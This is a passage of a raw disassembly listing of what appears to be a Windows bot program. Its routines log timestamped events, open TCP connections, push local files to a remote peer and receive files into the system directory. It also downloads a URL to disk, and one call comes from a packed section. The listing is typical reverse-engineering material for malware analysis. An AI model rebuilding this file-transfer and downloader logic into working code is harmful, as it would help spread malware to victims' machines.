inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415B34
call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_415C36
push [ebp+arg_8]
call dword_427080 ; Sleep
jmp loc_4159F8
; ---------------------------------------------------------------------------
loc_415C36: ; CODE XREF: sub_4157BA+46Cj
pop edi
pop esi
mov eax, offset dword_4CF204
pop ebx
leave
retn
sub_4157BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43DBA0
mov edi, 0B8h
loc_415C54: ; CODE XREF: sub_415C40+33j
cmp byte ptr [esi], 0
jz short loc_415C77
push [ebp+arg_0]
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_415C77
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43E720
jl short loc_415C54
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415C77: ; CODE XREF: sub_415C40+17j
; sub_415C40+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43DBA0[esi]
push ebx
call sub_41BF70
push 17h
push [ebp+arg_0]
push ebx
call sub_41BFD0
push 9Fh
lea eax, dword_43DBB8[esi]
push [ebp+arg_4]
push eax
call sub_41BFD0
add esp, 24h
inc dword_4294D4
pop ebx
loc_415CB9: ; CODE XREF: sub_415C40+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_415C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_437EF8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43DBA0
loc_415CEA: ; CODE XREF: sub_415CC0+72j
cmp byte ptr [esi], 0
jz short loc_415D25
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_437EE4
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
loc_415D25: ; CODE XREF: sub_415CC0+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43E720
jl short loc_415CEA
pop edi
pop esi
leave
retn
sub_415CC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D38 proc near ; CODE XREF: sub_401221+384p
; sub_401221+408p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call dword_427140 ; GetLocalTime
mov ebx, offset dword_4D3604
mov edi, 80h
mov esi, offset dword_4CF604
loc_415D5A: ; CODE XREF: sub_415D38+3Dj
cmp byte ptr [ebx], 0
jz short loc_415D71
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_41BFD0
add esp, 0Ch
loc_415D71: ; CODE XREF: sub_415D38+25j
sub ebx, edi
cmp ebx, esi
jge short loc_415D5A
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41C360
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_415D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p
; sub_401ACD:loc_408967p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41CB70
lea eax, [ebp+var_80]
push eax
call sub_415D38
add esp, 14h
leave
retn
sub_415DAC endp
; =============== S U B R O U T I N E =======================================
sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4CF604
xor ecx, ecx
loc_415DDF: ; CODE XREF: sub_415DD8+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4D3604
jl short loc_415DDF
cmp [esp+arg_C], ecx
jnz short loc_415E0D
push ecx
push [esp+4+arg_8]
push offset dword_437F44
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_409869
add esp, 14h
loc_415E0D: ; CODE XREF: sub_415DD8+19j
push offset dword_437F30
call sub_415D38
pop ecx
retn
sub_415DD8 endp
; =============== S U B R O U T I N E =======================================
sub_415E19 proc near ; CODE XREF: .packed:0040E1FFp
arg_0 = dword ptr 4
push esi
mov esi, offset dword_4CF604
loc_415E1F: ; CODE XREF: sub_415E19+27j
cmp byte ptr [esi], 0
jz short loc_415E34
push [esp+4+arg_0]
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jnz short loc_415E46
loc_415E34: ; CODE XREF: sub_415E19+9j
add esi, 80h
cmp esi, offset dword_4D3604
jl short loc_415E1F
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_415E46: ; CODE XREF: sub_415E19+19j
push 1
pop eax
pop esi
retn
sub_415E19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_415E9E
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_437F74
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415E9E: ; CODE XREF: sub_415E4B+33j
cmp [ebp+var_98], 0
jz short loc_415EBE
lea eax, [ebp+var_98]
push eax
call sub_41C159
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_415EBE
mov [ebp+var_8], eax
loc_415EBE: ; CODE XREF: sub_415E4B+5Aj
; sub_415E4B+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_4CF604
loc_415EC7: ; CODE XREF: sub_415E4B+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_415F21
cmp byte ptr [esi], 0
jz short loc_415F10
cmp [ebp+var_98], 0
jz short loc_415EF6
cmp [ebp+var_4], 0
jnz short loc_415EF6
lea eax, [ebp+var_98]
push eax
push esi
call sub_4185D3
pop ecx
test eax, eax
pop ecx
jz short loc_415F10
loc_415EF6: ; CODE XREF: sub_415E4B+90j
; sub_415E4B+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F10: ; CODE XREF: sub_415E4B+87j
; sub_415E4B+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_4D3604
jl short loc_415EC7
loc_415F21: ; CODE XREF: sub_415E4B+82j
lea eax, [ebp+var_31C]
push offset dword_437F58
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_415F5B
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_409869
add esp, 14h
loc_415F5B: ; CODE XREF: sub_415E4B+EEj
lea eax, [ebp+var_31C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_415E4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F7A proc near ; CODE XREF: sub_416000+33p
; sub_416563+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA64 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415FF6
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9E4 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA24 ; inet_addr
cmp eax, esi
jnz short loc_415FDB
push [ebp+arg_0]
call dword_4CBA68 ; gethostbyname
test eax, eax
jz short loc_415FF6
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415FDB: ; CODE XREF: sub_415F7A+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB98C ; connect
cmp eax, esi
jnz short loc_415FFA
push edi
call dword_4CBA7C ; closesocket
loc_415FF6: ; CODE XREF: sub_415F7A+1Bj
; sub_415F7A+58j
mov eax, esi
jmp short loc_415FFC
; ---------------------------------------------------------------------------
loc_415FFA: ; CODE XREF: sub_415F7A+73j
mov eax, edi
loc_415FFC: ; CODE XREF: sub_415F7A+7Ej
pop edi
pop esi
leave
retn
sub_415F7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416000 proc near ; DATA XREF: sub_401ACD+A02o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_415F7A
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_416093
lea eax, [ebp+var_11B4]
push offset unk_437FF4
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_416076
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_416076: ; CODE XREF: sub_416000+59j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416093: ; CODE XREF: sub_416000+3Fj
push offset byte_43DB98
push ebx
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4160FE
lea eax, [ebp+var_11B4]
push offset unk_437FC4
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4160DA
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_4160DA: ; CODE XREF: sub_416000+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA7C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_4160FE: ; CODE XREF: sub_416000+A3j
push 64h
call dword_427080 ; Sleep
xor edi, edi
mov esi, 1000h
loc_41610D: ; CODE XREF: sub_416000+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4CB9FC ; recv
test eax, eax
jle short loc_41616A
lea eax, [ebp+var_11B4]
push offset asc_42A088 ; "\n"
push eax
call sub_41C8A0
lea eax, [ebp+var_11B4]
push eax
call sub_419F9D
add esp, 0Ch
test eax, eax
jz short loc_41616A
push 64h
call dword_427080 ; Sleep
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jnz short loc_41610D
loc_41616A: ; CODE XREF: sub_416000+130j
; sub_416000+154j
lea eax, [ebp+var_11B4]
push offset unk_437F90
push eax
call sub_41C266
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_41619D
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409869
add esp, 14h
loc_41619D: ; CODE XREF: sub_416000+180j
lea eax, [ebp+var_11B4]
push eax
call sub_415D38
pop ecx
push ebx
call dword_4CBA7C ; closesocket
push [ebp+var_10]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_416000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call dword_4CBA64 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_41620F
push offset unk_4380F4
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41620F: ; CODE XREF: sub_4161C1+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call dword_4CB9E4 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call dword_4CBA10 ; bind
test eax, eax
jz short loc_41624D
push offset unk_4380D0
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: sub_4161C1+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call dword_4CB988 ; getsockname
push [ebp+var_2E]
call dword_4CB914 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41B9C0
pop ecx
loc_41627F: ; CODE XREF: sub_4161C1+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_416292
push 5Fh
pop eax
jmp short loc_416295
; ---------------------------------------------------------------------------
loc_416292: ; CODE XREF: sub_4161C1+CAj
movsx eax, al
loc_416295: ; CODE XREF: sub_4161C1+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_41627F
push ebx
push edi
call dword_4CBA0C ; listen
test eax, eax
jz short loc_4162C8
push offset unk_437FF4
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162C8: ; CODE XREF: sub_4161C1+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4162F2
push offset unk_4380B0
jmp loc_4163C8
; ---------------------------------------------------------------------------
loc_4162F2: ; CODE XREF: sub_4161C1+125j
push esi
push eax
call dword_427114 ; GetFileSize
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA24 ; inet_addr
push eax
call dword_4CB9E0 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_438098
push eax
call sub_41C266
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call dword_4CB9CC ; select
test eax, eax
jg short loc_4163A2
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_438080
push eax
push [ebp+var_1FC]
call sub_409869
jmp loc_4164C6
; ---------------------------------------------------------------------------
loc_4163A2: ; CODE XREF: sub_4161C1+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call dword_4CBA78 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4163DB
push offset unk_43805C
loc_4163C8: ; CODE XREF: sub_4161C1+49j
; sub_4161C1+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4164C9
; ---------------------------------------------------------------------------
loc_4163DB: ; CODE XREF: sub_4161C1+200j
push edi
call dword_4CBA7C ; closesocket
cmp [ebp+arg_0], esi
jz loc_41648D
mov edi, 400h
loc_4163F0: ; CODE XREF: sub_4161C1+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4163FD
mov [ebp+var_4], eax
loc_4163FD: ; CODE XREF: sub_4161C1+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call dword_427128 ; SetFilePointer
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call dword_4270EC ; ReadFile
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call dword_4CBA34 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call dword_4CB9FC ; recv
cmp eax, ebx
jl loc_416522
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416522
sub [ebp+arg_0], eax
jnz loc_4163F0
mov edi, [ebp+var_18]
loc_41648D: ; CODE XREF: sub_4161C1+224j
push [ebp+var_8]
call dword_427070 ; CloseHandle
push [ebp+var_C]
push [ebp+var_10]
call sub_416CC9
pop ecx
pop ecx
push eax
push [ebp+var_44]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_438030
push eax
call sub_41C266
loc_4164C6: ; CODE XREF: sub_4161C1+1DCj
add esp, 14h
loc_4164C9: ; CODE XREF: sub_4161C1+215j
cmp [ebp+var_50], esi
jnz short loc_4164EE
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409869
add esp, 14h
loc_4164EE: ; CODE XREF: sub_4161C1+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_415D38
cmp edi, esi
pop ecx
jbe short loc_416506
push edi
call dword_4CBA7C ; closesocket
loc_416506: ; CODE XREF: sub_4161C1+33Cj
push [ebp+var_1F8]
call dword_4CBA7C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416522: ; CODE XREF: sub_4161C1+2AFj
; sub_4161C1+2BAj
push esi
mov esi, offset dword_438018
push [ebp+var_54]
lea eax, [ebp+var_DC]
push esi
push eax
push [ebp+var_1FC]
call sub_409869
push esi
call sub_415D38
add esp, 18h
push [ebp+var_1F8]
call dword_4CBA7C ; closesocket
push [ebp+var_58]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_4161C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416563 proc near ; DATA XREF: sub_401ACD+798o
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp+var_8], ebx
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push 104h
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_429AD0
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
jnz short loc_4165ED
push offset unk_438194
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_4165ED: ; CODE XREF: sub_416563+81j
push eax
call dword_427070 ; CloseHandle
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_416615
push offset unk_438164
jmp short loc_416633
; ---------------------------------------------------------------------------
loc_416615: ; CODE XREF: sub_416563+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_415F7A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416646
push offset unk_438144
loc_416633: ; CODE XREF: sub_416563+88j
; sub_416563+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_416742
; ---------------------------------------------------------------------------
loc_416646: ; CODE XREF: sub_416563+C9j
mov esi, 1000h
loc_41664B: ; CODE XREF: sub_416563+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41DB54
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CB9E0 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: sub_416563+118j
lea eax, [ebp+var_4C4]
push offset dword_438018
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
push [ebp+var_4]
call sub_41BA3B
add esp, 24h
push [ebp+arg_0]
call dword_4CBA7C ; closesocket
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push 1
call dword_4270D4 ; ExitThread
loc_416712: ; CODE XREF: sub_416563+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_438118
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: sub_416563+DEj
cmp [ebp+var_14], ebx
jnz short loc_416767
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: sub_416563+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
cmp [ebp+var_4], ebx
pop ecx
jz short loc_416782
push [ebp+var_4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: sub_416563+214j
cmp [ebp+arg_0], ebx
jbe short loc_416790
push [ebp+arg_0]
call dword_4CBA7C ; closesocket
loc_416790: ; CODE XREF: sub_416563+222j
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_416563 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CB994
call dword_4CB8E8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416867
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_438360
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41684A
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: sub_4167A0+88j
lea eax, [ebp+var_510]
push eax
call sub_415D38
push [ebp+var_48]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_416867: ; CODE XREF: sub_4167A0+68j
xor edi, edi
call dword_4270B0 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp+var_1C], eax
loc_416881: ; CODE XREF: sub_4167A0+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4CB8F0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_4168C5
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: sub_4167A0+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4270F0 ; WriteFile
